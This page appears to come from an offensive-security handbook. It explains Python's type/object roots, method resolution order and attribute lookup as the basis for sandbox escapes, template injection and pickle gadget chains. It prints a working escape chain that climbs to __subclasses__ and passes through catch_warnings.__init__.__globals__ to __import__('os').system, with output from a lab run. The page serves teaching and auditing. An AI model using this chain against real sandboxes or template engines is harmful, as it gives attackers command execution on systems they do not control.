Python Object Model and MRO
Everything in Python is an object, and every object knows its class, its class knows its parents, and the chain of parents always ends at a single root: object. That chain is the connective tissue behind nearly every Python exploitation primitive in this handbook. Sandbox escapes, SSTI payloads, and pickle gadget chains all reduce to the same move: take whatever object you can reach, climb its class hierarchy to object, and from there reach every class loaded in the interpreter.
This page documents the object model from the offensive angle: how attribute lookup actually resolves, what the Method Resolution Order (MRO) is, and how __globals__ and __builtins__ let you pivot from a reference to a single function all the way to __import__ and command execution.
type and object: the two roots
Python has two special objects that bootstrap the whole model. object is the base of every class, the top of every inheritance chain. type is the class of every class, including itself. Every value is an instance of object, and every class is an instance of type.
>>> isinstance(42, object)
True
>>> isinstance(int, object)
True
>>> type(int)
<class 'type'>
>>> type(type)
<class 'type'>
>>> int.__base__
<class 'object'>
The practical consequence: no matter what object an exploit can get its hands on (an empty string, a tuple, a user-defined instance), it is one .__class__ away from a class, and that class is a finite number of .__base__ hops away from object. Once you hold object, you hold the entry point to the entire loaded class graph.
The MRO and attribute resolution
When you access obj.attr, Python does not look in just one place. It walks an ordered list of classes called the Method Resolution Order, computed with the C3 linearization algorithm. The MRO is stored on every class as __mro__:
class A:
def who(self): return "A"
class B(A):
pass
class C(A):
def who(self): return "C"
class D(B, C):
pass
print(D.__mro__)
# (<class '__main__.D'>, <class '__main__.B'>, <class '__main__.C'>, <class '__main__.A'>, <class 'object'>)
print(D().who())
# C
D defines no who, and B defines no who, so resolution continues along the MRO to C before it ever reaches A. The order is D → B → C → A → object, which is why C.who wins over A.who. This ordering matters in security review because a subclass can silently override or shadow a method a parent relies on for an access-control check, and the MRO decides which implementation actually runs.
Attribute lookup for obj.attr follows a fixed precedence:
- Data descriptors on the type (and its MRO): e.g.
property. - The instance
__dict__. - Non-data descriptors and plain class attributes along the MRO.
__getattr__, if defined, as a fallback for misses.
That last step is an attack surface in its own right: a class that defines __getattr__ to dynamically resolve unknown attributes (proxies, ORMs, config objects) can be coaxed into resolving attacker-chosen names. The same precedence is what SSTI payloads abuse: Jinja2 attribute access (a.b) and item access (a['b']) both bottom out in this lookup machinery.
Climbing to object from any value
The canonical climb starts from a literal and walks up to object, then fans out to every subclass:
>>> "".__class__
<class 'str'>
>>> "".__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> "".__class__.__mro__[-1]
<class 'object'>
>>> ().__class__.__base__
<class 'object'>
>>> len(object.__subclasses__())
216
__mro__[-1] and __base__ both land on object here because str and tuple inherit directly from it. For a deeper hierarchy you take __mro__[-1] (always object) rather than a single __base__ hop. object.__subclasses__() then returns every class that currently inherits directly from object, which, because so much of the standard library subclasses object, includes loaders, file handlers, and process wrappers.
Select subclasses by name, never by index. The list order depends on the CPython version and on which modules have been imported, so
[132]is fragile while[c for c in subs if c.__name__ == 'Popen']is portable.
globals and builtins: the real prize
Climbing to object gives you classes. To turn a class into code execution you need a callable like os.system or the __import__ builtin. The bridge is __globals__: every Python function carries a reference to the module-level namespace it was defined in, and that namespace contains a __builtins__ entry holding the entire builtin table.
>>> def f(): pass
>>> f.__globals__.keys()
dict_keys(['__name__', '__doc__', '__package__', ..., '__builtins__'])
>>> import warnings
>>> bt = warnings.catch_warnings.__init__.__globals__['__builtins__']
>>> bt['__import__']
<built-in function __import__>
>>> bt['__import__']('os').system('id')
uid=1000(user) gid=1000(user) groups=1000(user)
Any function reachable through the subclass graph exposes its defining module’s globals through __init__.__globals__ (for a class) or .__globals__ (for a function). warnings.catch_warnings is a favorite because it is almost always loaded and its module globals reliably include a real __builtins__ mapping. From there __import__ imports os, and os.system runs commands. This is exactly the gadget that a stripped-down eval/exec jail or a Jinja2 sandbox tries, and usually fails, to block.
Functions also carry __closure__ and __code__, which expose captured free variables and the underlying code object. Those are the next rung up, relevant when you need a value that lives in an enclosing scope rather than module globals, or when you want to rewrite bytecode at runtime.
Why this underpins the rest of the handbook
Three of the most-used techniques in this vault are the same climb with a different starting object:
- Sandbox escapes (Escaping Python exec and eval Sandboxes) start from any literal the jail lets you evaluate.
- Object-graph walking (Walking the Python Object Graph with subclasses()) is this page weaponized into a full chain.
- SSTI (Python Jinja2 Server Side Template Injection) starts from whatever object the template exposes (
request, a config,self) and uses template attribute syntax to perform the same__class__→__mro__→__subclasses__→__globals__walk.
If you understand the model on this page, every one of those reads as the same attack. For defenders the lesson is blunt: any environment that lets an attacker evaluate even a trivial expression on a real object has, by construction, handed them the whole class graph and the builtin table behind it. Blocklisting attribute names does not close this: the climb has too many equivalent paths.
Why the object model matters from an offensive security perspective
The object model is the single primitive that every Python exploitation chain in this vault reduces to. I do not memorize per-target payloads; I memorize the climb (__class__ to __mro__ to __subclasses__ to __globals__ to __import__) and re-apply it from whatever starting object the target exposes. A sandbox gives me a string literal, an SSTI gives me request or self, a pickle gives me a reconstructed instance. The starting object differs; the climb is identical. That universality is why this page underpins the rest of the handbook, and why getting comfortable with the MRO and attribute resolution pays off across deserialization, jails, and template injection alike.
When I audit a target through this lens, these are the tells that the full climb is reachable:
- Any reachable
__class__,__base__,__bases__, or__mro__. These are the rungs up toobject; if one is exposed, the rest of the ladder usually is too. __subclasses__()reachable on any class. This is the fan-out to every loaded class, includingPopen,catch_warnings, and the import loaders. Select gadgets by name, never by index.__globals__,__init__,__func__, or__closure__on any function or method. Each leaks the defining module’s namespace and the__builtins__table holding__import__.__getattr__on proxies and config objects. Custom attribute resolution lets attacker-chosen names resolve, which is the exact mechanism SSTI attribute walking abuses.- MRO shadowing in access-control code. A subclass can override a method a parent relies on for a security check, and the MRO, not the author’s intent, decides which implementation runs.
For defenders the takeaway is that the object model cannot be hardened from inside Python: if an attacker can evaluate any expression on a real object, they already hold the class graph and the builtins behind it.
Running it in the lab
docker compose run --rm generic-py-fu python3 object-model/mro-and-resolution.py
STEP 1: type and object are the two roots
type(int): <class 'type'>
type(type): <class 'type'>
int.__base__: <class 'object'>
STEP 3: climb from any literal up to object
''.__class__.__mro__: (<class 'str'>, <class 'object'>)
object.__subclasses__(): 162 classes currently loaded
STEP 4: __globals__ -> __builtins__ -> __import__
Recovered __builtins__ via catch_warnings.__init__.__globals__
Calling __import__('os').system('id') ...
uid=0(root) gid=0(root) groups=0(root)
The four steps this page describes, executed end to end: the two roots, the MRO, the climb to object, and the pivot through __globals__ to __import__.